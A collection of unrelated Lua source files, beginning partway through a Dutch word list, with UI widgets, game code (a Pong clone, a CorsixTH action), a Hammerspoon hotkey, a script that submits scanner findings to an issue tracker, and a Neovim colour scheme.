ysteem','stokbewaarder','stooftijd','stookketel','stooklijn','stookoliefactuur','stookoliefonds','stookolietank','stookruimte','stoomapparaat','stoomdruk','stoomsleepboot','stoomsloep','stoomspuit','stoomtijdperk','stoomwezen','stootbal','stootkuur','stootslag','stoottroep','stootwil','stopdatum','stopkracht','stoptoets','storingsnummer','stormfront','stormgod','stormseizoen','stortinrichting','stortmateriaal','stottertherapeut','stottertherapie','stortdouche','stoomzuivelfabriek','stollingssysteem','stookwijn','stockoplossing','stoffenbeleid','stoomleiding','stortput','stockfoto','stoomcyclus','stootjuk','stortlocatie','stopbad','stoffenzaak','stockruimte','stopafstand','stofbelasting','stookproces','stoommotor','stoominjectie','stolbaarheid','stopcoach','stofconstante','stokviswater','stoombootonderneming','stoomdrukkerij','stoomveer','stoomwasinrichting','stockholmer','stockholms','stokrooie','stolk','storms','stoffel','stoffer','stolte','stolker','stouten','stoffelen','stobbe','stolze','stomphorst','stoop','stout','stoltz','stockmann','storteboom','storimans','stokmans','stobbelaar','stoelhorst','stoelinga','stoepker','stokkel','stokkink','stoks','stoll','stollman','stomps','stooker','stoppels','stoute','stouthamer','stouthart','stols','stokkers','stoevelaar','stoer','stortelder','stob','stoeltie','stokking','stokreef','stokx','stor','stotijn','stortelers','stoopen','stoetzer','stoots','stougie','stoffenmanager','story','stobben','stobbetje','stochasten','stochastische','stockboeken','stoei','stoeide','stoeiden','stoeierijen','stoeipartijen','stoeit','stoelbiezen','stoelde','stoelden','stoeldraaiers','stoelend','stoelendansen','stoelenmakers','stoelenmatters','stoelenzetsters','stoelkussens','stoelmatten','stoelriemen','stoelt','stoeltje','stoeltjes','stoeltjesklokken','stoeltjesliften','stoelvaste','stoepbanden','stoepjes','stoeppaden','stoepstenen','stoept','stoepte','stoeptegels','stoerder','stoerdere','stoere','stoerst','stoeten','stoeterijen','stoethaspelige','stoethaspels','stoetsgewijze','stofbrillen','stofdeeltjes','stofdoeken','stofexplosies','stoffeer','stoffeerde','stoffeerden','stoffeerderijen','stoffeerders','stoffeert','stoffelijke','stoffels','stoffenwinkels','stofferige','stofferingen','stoffers','stoffertje','stoffertjes','stoffige','stoffiger','stoffigere','stoffigst','stoffigste','stofjassen','stofjes','stofloze','stofnamen','stofnesten','stofomslagen','stoft','stofte','stoften','stofvrije','stofwisselingsprocessen','stofwisselingsziekten','stofwolken','stofzuig','stofzuigde','stofzuigden','stofzuigers','stofzuigt','stokankers','stokdove','stokerijen','stokerijtje','stokerijtjes','stokers','stokje','stokjes','stokkaarten','stokkend','stokkende','stokkerige','stokoude','stokpaarden','stokpaardjes','stokregels','stokrozen','stokslagen','stokstijve','stokt','stokte','stokten','stokvissen','stolde','stolden','stolen','stollingsgesteenten','stollingsgesteentes','stolpdeuren','stolpflessen','stolpramen','stolpt','stolsels','stolt','stomas','stomata','stomende','stomerijen','stomers','stomheden','stomkoppen','stommelde','stommelden','stommelingen','stommels','stommelt','stommeltje','stommen','stommer','stommerds','stommeriken','stommetje','stommetjes','stommigheden','stommiteiten','stompe','stomper','stompere','stomphoekige','stompjes','stompst','stompstaarten','stompste','stompt','stompte','stompten','stompzinnige','stompzinniger','stompzinnigere','stompzinnigheden','stompzinnigste','stomst','stomste','stomverbaasde','stomvervelende','stomverwonderde','stonden','stonken','stoofappelen','stoofappels','stoofde','stoofden','stoofpannen','stoofperen','stoofpotten','stoofschotels','stoofsels','stooft','stook','stookgaten','stookhokken','stookinrichtingen','stookinstallaties','stookkelders','stookolien','stookplaatsen','stookseizoenen','stooksels','stookt','stookte','stookten','stoombaden','stoombaggermolens','stoombarkassen','stoombootdiensten','stoombootmaatschappijen','stoomboten','stoombrandspuiten','stoomcilinders','stoomcursussen','stoomde','stoomden','stoomfluiten','stoomgemalen','stoomhamers','stoomjachten','stoomketels','stoomkleppen','stoomkranen','stoomlieren','stoomlocomotieven','stoommachines','stoommandje','stoommolens','stoompannen','stoompersen','stoompijpen','stoompompen','stoomschepen','stoomschuiven','stoomslepers','stoomt','stoomtrammen','stoomtrams','stoomtramverbindingen','stoomtrawlers','stoomtreinen','stoomturbines','stoomvaartlijnen','stoomvaartmaatschappijen','stoomvaartuigen','stoomwalsen','stoomwolken','stoomzagen','stoor','stoorde','stoorden','stoorders','stoornissen','stoort','stoorzenders','stootbalken','stootblokken','stootborden','stoothouten','stootje','stootkanten','stootkarren','stootkussens','stootplaatje','stootplaten','stootse','stoottanden','stootte','stootten','stootvaste','stootvoegen','stootwagens','stopborden','stopcontacten','stopen','stopflessen','stopgezet','stopgezette','stophorloges','stopkranen','stoplampen','stoplappen','stoplichten','stoplijnen','stopmessen','stopmiddelen','stopnaalden','stoporders','stoppages','stoppelakkers','stoppelbaarden','stoppelgewassen','stoppelharen','stoppelige','stoppelploegen','stoppeltje','stoppeltjes','stoppelvelden','stoppers','stoppertje','stoppertjes','stoppingen','stopplaatsen','stops','stopseinen','stopsels','stopseltjes','stopsters','stopstrepen','stopstukken','stopt','stopte','stoptekens','stoptreinen','stopwoorden','stopwoordje','stopwoordjes','stopzet','stopzette','storende','stores','storingen','storingsbronnen','storingsdiensten','storingsfactoren','storingsfilters','storingsgevoelige','storingsmeldingen','storingssituaties','storingstijden','storingsvrije','storingvrije','storingzoekers','stormaanvallen','stormachtige','stormachtiger','stormachtigste','stormballen','stormbanden','stormbuien','stormde','stormdeuren','stormgelopen','stormhoeden','stormige','stormkleppen','stormklokken','stormladders','stormliep','stormliepen','stormlijnen','stormloopt','stormmeeuwen','stormnachten','stormpje','stormpjes','stormrammen','stormseinen','stormt','stormvlagen','stormvloeden','stormvloedkeringen','stormvogels','stormvrije','stormwaarschuwingen','stormwinden','stormzeilen','storneer','storneert','stortbaden','stortbakken','stortbeken','stortbuien','stortingen','stortingsbewijzen','stortingsformulieren','stortkarren','stortkokers','stortplaatsen','stortregende','stortregens','stortregent','stortte','stortten','stortvloeden','stortwerken','stortzeeen','storyboards','stotende','stotender','stoterige','stoteriger','stoters','stotige','stotter','stotteraars','stotterde','stotterden','stotterend','stottert','stoute','stouter','stouterds','stoutere','stouteriken','stoutigheden','stoutmoedige','stoutmoediger','stoutmoedigere','stoutmoedigst','stoutmoedigste','stoutst','stoutste','stouw','stouwde','stouwden','stouwers','stouwt','stoicijnen','stoicijnser','stoische','stockcarraces','stockcars','stockdividenden','stockeerde','stoefte','stoeipoezen','stoelende','stoelleuningen','stoelpoten','stoelzittingen','stoerste','stofhoezen','stofkammen','stofkappen','stoflongen','stofmaskers','stofstormen','stofwisselingsstoornissen','stofzuigerde','stokbonen','stokbroden','stokmaten','stolas','stollende','stollingen','stollingsfactoren','stolpboerderijen','stolpkragen','stolpte','stommeknechts','stoms','stoofbuizen','stoofhaken','stooflappen','stookgelegenheden','stookkanalen','stookplaten','stoomstrijkijzers','stoomtrammetje','stootbanden','stootranden','stootvogels','stootwapens','stootzakken','stopbussen','stophouten','stopkogels','stoppend','stoppende','stopperspillen','stopsignalen','stopten','stopwatches','stopzettingen','stormbanen','stormden','stormdepressies','stormfokken','stormgebieden','stormlantaarns','stormrampen','storneerde','stortingsbulletins','stortingskaarten','stortmasten','stortmolens','stotterende','stouts','stoepas','stokpoppen','stokdode','stoofsmeden','stooltje','stopseltje','stormvaste','stofdichte','stortingsdata','stormlantarens','stofdoekenmandjes','stormlampen','stortgoten','stofknopen','stofwisselingsziektes','stofzuigerslangen','stokmeters','stolpnaden','stomtoevallige','stoneleeks','stootbeitels','stootsgewijze','stoottonen','stormrijpe','stornos','stortkleppen','stoofpotje','stoffels','stoffers','stoofpotjes','stokbroodje','stoelnummers','stofschijven','stokstaartjes','stoelbekledingen','stoeprandje','stofkapje','stofzakken','stofzuigertje','stokbroodjes','stookketels','stookolietanks','stoomcabines','stoomtreintje','stootjes','stoppogingen','stoptreintje','stockfotos','stofwolkjes','stoombadje','stoomgeneratoren','stofdoekje','stoflagen','stofemissies','stoffilters','stoeprandjes','stoomreinigers','stoombootje','stootkussentjes','stofwolkje','stoomtreintjes','stofzuigsystemen','stoomsleepboten','stoomkokers','stopknopje','stortverboden','stofconcentraties','stoflaagje','stoffenzaken','stofkapjes','stormvogeltje','stofgehalten','stortputten','stockverkopen','stoommachientje','stoptreintjes','stoplichtje','stoombootjes','stormbandje','stortlocaties','stopflesjes','stormschades','stofgehaltes','stootkuren','stockholmse'} |
local ui = require "tek.ui"
local InputWithPlaceholder = {}
function InputWithPlaceholder.new(_, self)
self = self or {}
self.Text = self.Text or ""
self.Placeholder = self.Placeholder or ""
if #self.Text == 0 and #self.Placeholder ~= 0 then
self.Class = "placeholder"
self.Text = self.Placeholder
end
local input = ui.Input:new(self)
-- The widget that really olds the text is the grandson of the input
local _onSelect = input.Child.Child.onSelect
input.Child.Child.onSelect = function(_self)
_onSelect(_self)
if _self.Selected then
if _self.Class == "placeholder" then
input:setValue("Text", "")
_self:setValue("Class", "")
end
else
if #input:getText() == 0 then
input:setValue("Text", input.Placeholder)
_self:setValue("Class", "placeholder")
end
end
end
local _onFocus = input.Child.Child.onFocus
input.Child.Child.onFocus = function(_self)
if _self.Focus then
if _self.Class == "placeholder" then
input:setValue("Text", "")
_self:setValue("Class", "")
end
else
if #input:getText() == 0 then
input:setValue("Text", input.Placeholder)
_self:setValue("Class", "placeholder")
end
end
return _onFocus(_self)
end
return input
end
function InputWithPlaceholder.reset(input)
input:setValue("Text", input.Placeholder)
input:setValue("Class", "placeholder")
input.Child.Child:setValue("Class", "placeholder")
input:onSetText()
end
return InputWithPlaceholder
|
--
-- YATM Brewery
--
local mod = foundation.new_module("yatm_brewery", "0.2.0")
mod:require("registries.lua")
mod:require("api.lua")
mod:require("nodes.lua")
mod:require("items.lua")
mod:require("fluids.lua")
mod:require("tests.lua")
|
-- Find my mouse pointer
local mouseCircle = nil
local mouseCircleTimer = nil
function mouseHighlight()
-- Delete an existing highlight if it exists
if mouseCircle then
mouseCircle:delete()
if mouseCircleTimer then
mouseCircleTimer:stop()
end
end
-- Get the current co-ordinates of the mouse pointer
mousepoint = hs.mouse.getAbsolutePosition()
-- Prepare a big red circle around the mouse pointer
mouseCircle = hs.drawing.circle(hs.geometry.rect(mousepoint.x - 40, mousepoint.y - 40, 80, 80))
mouseCircle:setStrokeColor({["red"] = 1.0, ["blue"] = 0.69, ["green"] = 0.95, ["alpha"] = 0.75})
mouseCircle:setFill(false)
mouseCircle:setStrokeWidth(20)
mouseCircle:show()
mouseCircleTimer =
hs.timer.doAfter(
1,
function()
mouseCircle:delete()
end
)
end
hs.hotkey.bind({"ctrl", "alt", "shift"}, "M", mouseHighlight)
|
require "SyMini"
task.caption = 'Issues Submission Task'
local hs = symini.hybrid:new()
local itemfailed = false
local failed_count = 0
hs:start()
function sendissuefromfile(tracker, filename)
local issue = {}
issue = hs:tracker_getissuebyfilename(filename, params.app)
issue.tracker = tracker
print('Sending issue: '..issue.summary..'...')
local res = hs:tracker_sendissue(issue)
if res.alreadysent == true then
print('Already sent!')
end
if res.success == false then
itemfailed = true
failed_count = failed_count + 1
print('Failed! '..res.errormsg)
end
end
print('Sending vulnerabilities to tracker: '..params.tracker..' ['..params.app..']...')
list = ctk.string.loop:new()
list:load(params.filenamelist)
while list:parsing() do
task:setprogress(list.curindex,list.count)
sendissuefromfile(params.tracker, list.current)
end
task:setprogress(list.curindex,list.count)
task.status = 'Done.'
if itemfailed == true then
printfailure(task.status)
print(tostring(failed_count)..' item(s) failed.')
else
printsuccess(task.status)
end
list:release()
hs:release() |
ENT.Type = "anim"
ENT.Base = "base_anim"
ENT.PrintName = "Vendor NPC Base"
ENT.Category = "Balaclava"
ENT.Author = "lolkay"
ENT.Purpose = "Vendor NPC" -- purpose will be displayed on top of the npcs!!
ENT.Spawnable = true
ENT.AdminSpawnable = true
ENT.AutomaticFrameAdvance = true
function ENT:Think()
self:NextThink(CurTime())
return true
end |
local CoreGui = game:GetService("CoreGui")
local RobloxGui = CoreGui:WaitForChild("RobloxGui")
local PolicyService = require(RobloxGui.Modules.Common.PolicyService)
local FFlagOldInGameMenuDisplayNameForAll = game:DefineFastFlag("OldInGameMenuDisplayNameForAll3", false)
local FFlagOldInGameMenuDisplayNamePolicy = game:DefineFastFlag("OldInGameMenuDisplayNamePolicy3", false)
local function UsePlayerDisplayName()
if FFlagOldInGameMenuDisplayNameForAll then
return true
end
if FFlagOldInGameMenuDisplayNamePolicy then
return PolicyService:IsSubjectToChinaPolicies()
end
return false
end
return UsePlayerDisplayName
|
---@meta
---@class cc.AnimationCache :cc.Ref
local AnimationCache={ }
cc.AnimationCache=AnimationCache
---* Returns a Animation that was previously added.<br>
---* If the name is not found it will return nil.<br>
---* You should retain the returned copy if you are going to use it.<br>
---* return A Animation that was previously added. If the name is not found it will return nil.
---@param name string
---@return cc.Animation
function AnimationCache:getAnimation (name) end
---* Adds a Animation with a name.<br>
---* param animation An animation.<br>
---* param name The name of animation.
---@param animation cc.Animation
---@param name string
---@return self
function AnimationCache:addAnimation (animation,name) end
---*
---@return boolean
function AnimationCache:init () end
---* Adds an animation from an NSDictionary.<br>
---* Make sure that the frames were previously loaded in the SpriteFrameCache.<br>
---* param dictionary An NSDictionary.<br>
---* param plist The path of the relative file,it use to find the plist path for load SpriteFrames.<br>
---* since v1.1<br>
---* js NA
---@param dictionary map_table
---@param plist string
---@return self
function AnimationCache:addAnimationsWithDictionary (dictionary,plist) end
---* Deletes a Animation from the cache.<br>
---* param name The name of animation.
---@param name string
---@return self
function AnimationCache:removeAnimation (name) end
---* Adds an animation from a plist file.<br>
---* Make sure that the frames were previously loaded in the SpriteFrameCache.<br>
---* since v1.1<br>
---* js addAnimations<br>
---* lua addAnimations<br>
---* param plist An animation from a plist file.
---@param plist string
---@return self
function AnimationCache:addAnimationsWithFile (plist) end
---* Purges the cache. It releases all the Animation objects and the shared instance.<br>
---* js NA
---@return self
function AnimationCache:destroyInstance () end
---* Returns the shared instance of the Animation cache <br>
---* js NA
---@return self
function AnimationCache:getInstance () end
---* js ctor
---@return self
function AnimationCache:AnimationCache () end |
local PANEL = class.create("RadioPanel", "Label")
PANEL:ACCESSOR("Option", "m_iOption")
PANEL:ACCESSOR("Horizontal", "m_bHorizontal", false)
function PANEL:RadioPanel()
self:super() -- Initialize our baseclass
self:SetFocusable(true)
self:SetDrawPanel(true)
self:SetBGColor(color(215, 215, 215))
self:TextMargin(0, 4, 0, 0)
self:SetTextAlignmentX("center")
self:SetTextAlignmentY("top")
self:SetTextColor(color_darkgrey)
self:DockPadding(2, 18, 2, 2)
self.OPTIONS = {}
end
function PANEL:AddOption(id, label, active)
local option = self:Add("RadioBox")
option:SetText(label)
option:Dock(self.m_bHorizontal and DOCK_LEFT or DOCK_TOP)
option.OnClick = function()
self:SetValue(id)
end
self.OPTIONS[id] = option
if active then
self:SetValue(id)
end
return option
end
function PANEL:PerformLayout()
self:SizeToChildren(self.m_bHorizontal, not self.m_bHorizontal)
end
function PANEL:SetValue(id)
if self.m_iOption ~= id then
for i, option in pairs(self.OPTIONS) do
option:SetToggled(i == id)
end
self:OnSelectOption(id, self.m_iOption)
self.m_iOption = id
end
end
function PANEL:OnSelectOption(id, prev)
-- OVERRIDE
end |
--[[ Copyright (c) 2009 Peter "Corsix" Cawley
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE. --]]
class "StaffReceptionAction" (HumanoidAction)
---@type StaffReceptionAction
local StaffReceptionAction = _G["StaffReceptionAction"]
-- Action class for the "staff reception desk" action.
--!param desk (object) Desk to staff.
function StaffReceptionAction:StaffReceptionAction(desk)
assert(class.is(desk, ReceptionDesk), "Invalid value for parameter 'desk'")
self:HumanoidAction("staff_reception")
self.object = desk -- Reception desk object.
self:setMustHappen(true)
end
local action_staff_reception_interrupt = permanent"action_staff_reception_interrupt"( function(action, humanoid, high_priority)
local object = action.object
object.receptionist = nil
if not object.being_destroyed then -- don't look for replacement if desk was picked up
object:checkForNearbyStaff()
end
humanoid.associated_desk = nil
local dx, dy = object:getSecondaryUsageTile()
if high_priority then
humanoid:setTilePositionSpeed(dx, dy)
humanoid:finishAction()
else
HumanoidRawWalk(humanoid, humanoid.tile_x, humanoid.tile_y, dx, dy, nil,
--[[persistable:action_staff_reception_walk]] function()
humanoid:setTilePositionSpeed(dx, dy)
humanoid:finishAction()
end)
end
end)
local action_staff_reception_idle_phase = permanent"action_staff_reception_idle_phase"( function(humanoid)
local action = humanoid:getCurrentAction()
local direction = humanoid.last_move_direction
local anims = humanoid.walk_anims
local object = action.object
if direction == "north" then
humanoid:setAnimation(anims.idle_north, 0)
elseif direction == "east" then
humanoid:setAnimation(anims.idle_east, 0)
elseif direction == "south" then
humanoid:setAnimation(anims.idle_east, 1)
elseif direction == "west" then
humanoid:setAnimation(anims.idle_north, 1)
end
humanoid:setTilePositionSpeed(object.tile_x, object.tile_y)
object.receptionist = humanoid
object.reserved_for = nil
object.th:makeVisible()
if direction == "north" or direction == "west" then
-- Place desk behind receptionist in render order (they are on the same tile)
object.th:setTile(object.th:getTile())
end
if action.on_interrupt then
action.on_interrupt = action_staff_reception_interrupt
else
action_staff_reception_interrupt(action, humanoid)
end
end)
local action_staff_reception_interrupt_early = permanent"action_staff_reception_interrupt_early"( function(action, humanoid, high_priority)
if high_priority then
action.object.reserved_for = nil
humanoid.associated_desk:checkForNearbyStaff()
humanoid.associated_desk = nil
humanoid:setTimer(nil)
humanoid:setTilePositionSpeed(action.object:getSecondaryUsageTile())
humanoid:finishAction()
end
end)
local function action_staff_reception_start(action, humanoid)
if action.todo_interrupt then
humanoid.associated_desk.reserved_for = nil
humanoid.associated_desk:checkForNearbyStaff()
humanoid.associated_desk = nil
humanoid:finishAction(action)
return
end
local object = action.object
HumanoidRawWalk(humanoid, humanoid.tile_x, humanoid.tile_y,
object.tile_x, object.tile_y, nil, action_staff_reception_idle_phase)
action.must_happen = true
action.on_interrupt = action_staff_reception_interrupt_early
end
return action_staff_reception_start
|
--[[
Author: Edson Elmar Schlei
[email protected]
Originally programmed by Atari in 1972. Features two
paddles, controlled by players, with the goal of getting
the ball past your opponent's edge. First to 10 points wins.
This version is built to more closely resemble the NES than
the original Pong machines or the Atari 2600 in terms of
resolution, though in widescreen (16:9) so it looks nicer on
modern systems.
]]
Class = require 'class'
push = require 'push'
require 'Ball'
require 'Paddle'
require 'PlayerIA'
local AUTHOR_NAME = 'Edson Schlei'
local AUTHOR_EMAIL = '([email protected])'
local GAME_VERSION = '1.10'
local WINDOW_WIDTH = 1280
local WINDOW_HEIGHT = 720
VIRTUAL_WIDTH = 432
VIRTUAL_HEIGHT = 243
local GAME_AREA_Y = 20
local GAME_AREA_X = 5
local PADDLE_WIDTH = 5
local PADDLE_HEIGHT = 20
local BALL_SIZE = 6
PADDLE_SPEED = 200
local VICTORY_SCORE = 10
local GAME_STATE_START = 'start'
local GAME_STATE_SERVE = 'serve'
local GAME_STATE_PLAY = 'play'
local GAME_STATE_VICTORY = 'victory'
--[[
Load the default values and initial configurations
]]
function love.load()
math.randomseed(os.time())
love.window.setTitle('Pong')
-- define render style
love.graphics.setDefaultFilter('nearest', 'nearest')
-- define virtual screen and window properties
push:setupScreen(VIRTUAL_WIDTH, VIRTUAL_HEIGHT, WINDOW_WIDTH, WINDOW_HEIGHT, {
fullscreen = false,
vsync = true,
resizable = true
})
-- create fonts
scoreFont = love.graphics.newFont('04B03.TTF', 32)
smallFont = love.graphics.newFont('04B03.TTF', 8)
victoryFont = love.graphics.newFont('04B03.TTF', 24)
-- https://freesound.org/
sounds = {
['paddle_hit'] = love.audio.newSource('audios/paddle_hit.wav', 'static'),
['point_scored'] = love.audio.newSource('audios/point_scored.wav', 'static'),
['wall_hit'] = love.audio.newSource('audios/wall_hit.wav', 'static'),
['win_game'] = love.audio.newSource('audios/win_game.wav', 'static')
}
-- initial game score
player1Score = 0
player2Score = 0
gameAreaWidth = VIRTUAL_WIDTH - (GAME_AREA_X * 2)
gameAreaHeight = VIRTUAL_HEIGHT - (GAME_AREA_Y * 2)
minBallY = GAME_AREA_Y
print('Min Ball Y:' .. tostring(minBallY))
maxBallY = VIRTUAL_HEIGHT - GAME_AREA_Y - BALL_SIZE
print('Max Ball Y:' .. tostring(maxBallY))
local maxPaddleY = VIRTUAL_HEIGHT - (GAME_AREA_Y + PADDLE_HEIGHT)
local minPaddleY = GAME_AREA_Y
local leftPaddleX = GAME_AREA_X
local rightPaddleX = VIRTUAL_WIDTH - (GAME_AREA_X + PADDLE_WIDTH)
player1ScoreX = VIRTUAL_WIDTH / 2 - 50
player2ScoreX = VIRTUAL_WIDTH / 2 + 30
playerScoreY = VIRTUAL_HEIGHT / 3
local player1Y = minPaddleY
local player2Y = maxPaddleY
player1 = Paddle(leftPaddleX, player1Y, PADDLE_WIDTH, PADDLE_HEIGHT, minPaddleY, maxPaddleY)
player2 = Paddle(rightPaddleX, player2Y, PADDLE_WIDTH, PADDLE_HEIGHT, minPaddleY, maxPaddleY)
-- ball intial position
local half_ball = BALL_SIZE / 2
local ballX = VIRTUAL_WIDTH / 2 - half_ball
local ballY = VIRTUAL_HEIGHT / 2 - half_ball
ball = Ball(ballX, ballY, BALL_SIZE, BALL_SIZE)
playerIA = PlayerIA(player2, ball)
-- serving player
servingPlayer = math.random(2)
if servingPlayer == 1 then
ball.dx = 100
else
ball.dx = -100
end
winningPlayer = 0
gameState = GAME_STATE_START
end
function love.resize(w,h)
push:resize(w,h)
end
--[[
Draw the elements on the screen.
]]
function love.draw()
push:apply('start')
-- it clears the screen with the defined collor
love.graphics.clear(40 / 255, 45 / 255, 52 / 255, 255 / 255)
-- it draws the fame area
love.graphics.rectangle('line', GAME_AREA_X , GAME_AREA_Y, gameAreaWidth, gameAreaHeight)
-- prints the game state
printGameState()
-- it draws the pong ball
ball:render()
-- it draws the left padle
player1:render()
-- it draws the right padle
player2:render()
-- display FPS
displayFPS()
-- draw author name
drawAuthorAndVersion()
push:apply('end')
end
function printGameState()
if gameState == GAME_STATE_START then
love.graphics.setFont(smallFont)
love.graphics.printf('Welcome to Pong!', 0, 30, VIRTUAL_WIDTH, 'center')
love.graphics.printf('Press Enter to choose the serve player!', 0, 42, VIRTUAL_WIDTH, 'center')
elseif gameState == GAME_STATE_SERVE then
love.graphics.setFont(smallFont)
love.graphics.printf('Player ' .. tostring(servingPlayer) .. "'s turn!", 0, 30, VIRTUAL_WIDTH, 'center')
love.graphics.printf('Press enter to Serve!', 0, 42, VIRTUAL_WIDTH, 'center')
elseif gameState == GAME_STATE_VICTORY then
love.graphics.setFont(victoryFont)
love.graphics.printf('Player ' .. tostring(winningPlayer) .. " wins!", 0, 30, VIRTUAL_WIDTH, 'center')
love.graphics.setFont(smallFont)
love.graphics.printf('Press enter to restart!', 0, 60, VIRTUAL_WIDTH, 'center')
end
-- show score only when the game is stopped
printScore()
end
function printScore()
if not (gameState == GAME_STATE_PLAY) then
-- present the game score
love.graphics.setFont(scoreFont)
love.graphics.print(player1Score, player1ScoreX, playerScoreY)
love.graphics.print(player2Score, player2ScoreX, playerScoreY)
else
love.graphics.setFont(smallFont)
love.graphics.printf('Player 1 -> ' .. tostring(player1Score) .. ' x ' .. tostring(player2Score) .. ' <- Player 2', 0, 5, VIRTUAL_WIDTH, 'center')
end
end
--[[
Calculate the new state of the game
]]
function love.update(dt)
if gameState == GAME_STATE_PLAY then
if ball.x <= player1.x then
player2Score = player2Score + 1
servingPlayer = 1
gameState = GAME_STATE_SERVE
ball:reset()
ball.dx = 100
sounds['point_scored']:play()
if player2Score >= VICTORY_SCORE then
gameState = GAME_STATE_VICTORY
winningPlayer = 2
sounds['win_game']:play()
end
end
if ball.x >= player2.x + player2.width then
player1Score = player1Score + 1
servingPlayer = 2
gameState = GAME_STATE_SERVE
ball:reset()
ball.dx = -100
sounds['point_scored']:play()
if player1Score >= VICTORY_SCORE then
gameState = GAME_STATE_VICTORY
winningPlayer = 1
sounds['win_game']:play()
end
end
if ball:collides(player1) then
-- diflect ball to the right
sounds['paddle_hit']:play()
ball.dx = -ball.dx * 1.03
ball.x = player1.x + player1.width + 1
-- keep velocity going in the same direction, but randomize it
if ball.dy < 0 then
ball.dy = -math.random(10, 150)
else
ball.dy = math.random(10, 150)
end
end
if ball:collides(player2) then
-- diflect ball to the left
sounds['paddle_hit']:play()
ball.dx = -ball.dx
ball.x = player2.x - ball.width -1
-- keep velocity going in the same direction, but randomize it
if ball.dy < 0 then
ball.dy = -math.random(10, 150)
else
ball.dy = math.random(10, 150)
end
end
-- detect top game area
if ball.y <= minBallY then
ball.dy = -ball.dy
ball.y = minBallY + 1
sounds['wall_hit']:play()
end
-- detect collision on the bottom game area
if ball.y >= maxBallY then
ball.dy = -ball.dy
ball.y = maxBallY - 1
sounds['wall_hit']:play()
end
-- update player 1 paddle
if love.keyboard.isDown('w') then
player1.dy = - PADDLE_SPEED
elseif love.keyboard.isDown('s') then
player1.dy = PADDLE_SPEED
else
player1.dy = 0;
end
-- update player 2 paddle
playerIA:update(dt)
-- update paddles position
player1:update(dt)
player2:update(dt)
-- update the ball position
ball:update(dt)
end
end
function displayFPS()
love.graphics.setColor(0, 1, 0, 1)
love.graphics.setFont(smallFont)
love.graphics.print('FPS: ' .. tostring(love.timer.getFPS()), 5, 5)
love.graphics.setColor(1, 1, 1, 1)
end
--[[
catch the key events
]]
function love.keypressed(key)
if key == 'escape' then
love.event.quit()
elseif key == 'enter' or key == 'return' then
-- start the game when enter/return is pressed
if gameState == GAME_STATE_START then
gameState = GAME_STATE_SERVE
-- before switching to play, initialize ball's velocity based
-- on player who last scored
ball.dy = math.random(-50, 50)
if servingPlayer == 1 then
ball.dx = math.random(140, 200)
else
ball.dx = -math.random(140, 200)
end
elseif gameState == GAME_STATE_SERVE then
gameState = GAME_STATE_PLAY
elseif gameState == GAME_STATE_VICTORY then
gameState = GAME_STATE_START
player1Score = 0
player2Score = 0
end
end
end
function drawAuthorAndVersion()
love.graphics.setColor(0, 1, 0, 1)
love.graphics.setFont(smallFont)
love.graphics.printf(AUTHOR_NAME .. ' ' .. AUTHOR_EMAIL .. ' v' .. GAME_VERSION, 0, VIRTUAL_HEIGHT - 15, VIRTUAL_WIDTH, 'right')
love.graphics.setColor(1, 1, 1, 1)
end |
vim.cmd("hi clear")
vim.opt.termguicolors = true
vim.o.background = "light"
vim.cmd("colorscheme gruvbox")
-- vim.cmd("colorscheme gruvbox-baby")
-- vim.cmd("hi! link Type GruvboxBlue")
-- vim.cmd("hi! link juliaType GruvboxBlue")
vim.cmd("hi! link juliaSymbol GruvboxPurple")
vim.cmd("hi! link juliaSymbolS GruvboxPurple")
vim.cmd("hi! link juliaFunction GruvboxGreenBold")
vim.cmd("hi! link juliaFunctionDefinition GruvboxGreenBold")
vim.cmd("hi! link juliaFunctionDef GruvboxGreenBold")
vim.cmd("hi! link juliaFunctionCall GruvboxAqua")
vim.cmd("hi! link juliaMacro GruvboxBlueBold")
-- vim.cmd("hi! link juliaParDelim GruvboxYellow")
-- vim.cmd("hi! link juliaSemicolon GruvboxYellow")
-- vim.cmd("hi! link juliaColon GruvboxYellow")
-- vim.cmd("hi! link juliaComma GruvboxYellow")
vim.cmd("hi! link Operator GruvboxOrange")
-- vim.cmd("hi! link juliaOperator GruvboxOrange")
-- vim.cmd("hi! link juliaRangeOperator GruvboxOrange")
-- vim.cmd("hi! link juliaCTransOperator GruvboxOrange")
-- vim.cmd("hi! link juliaTernaryOperator GruvboxOrange")
-- vim.cmd("hi! link juliaTypeOperator GruvboxOrange")
-- vim.cmd("hi! link juliaDotted GruvboxOrange")
colors = {
bg = "#ebdbb2",
-- bg = "#d5c4a1",
fg = "#3c3836",
comment = "#665c54",
orange = "#D65D0E",
red = "#cc241d",
violet = "#cc241d",
green = "#98971a",
yellow = "#d79921",
blue = "#458588",
magenta = "#b16286",
cyan = "#689d6a",
darkblue = "#076678",
black = "#fbf1c7",
}
--[[
dark0_hard = #1d2021
dark0 = #282828
dark0_soft = #32302f
dark1 = #3c3836
dark2 = #504945
dark3 = #665c54
dark4 = #7c6f64
dark4_256 = #7c6f64
gray_245 = #928374
gray_244 = #928374
light0_hard = #f9f5d7
light0 = #fbf1c7
light0_soft = #f2e5bc
light1 = #ebdbb2
light2 = #d5c4a1
light3 = #bdae93
light4 = #a89984
light4_256 = #a89984
bright_red = #fb4934
bright_green = #b8bb26
bright_yellow = #fabd2f
bright_blue = #83a598
bright_purple = #d3869b
bright_aqua = #8ec07c
bright_orange = #fe8019
neutral_red = #cc241d
neutral_green = #98971a
neutral_yellow = #d79921
neutral_blue = #458588
neutral_purple = #b16286
neutral_aqua = #689d6a
neutral_orange = #d65d0e
faded_red = #9d0006
faded_green = #79740e
faded_yellow = #b57614
faded_blue = #076678
faded_purple = #8f3f71
faded_aqua = #427b58
faded_orange = #af3a03
]]
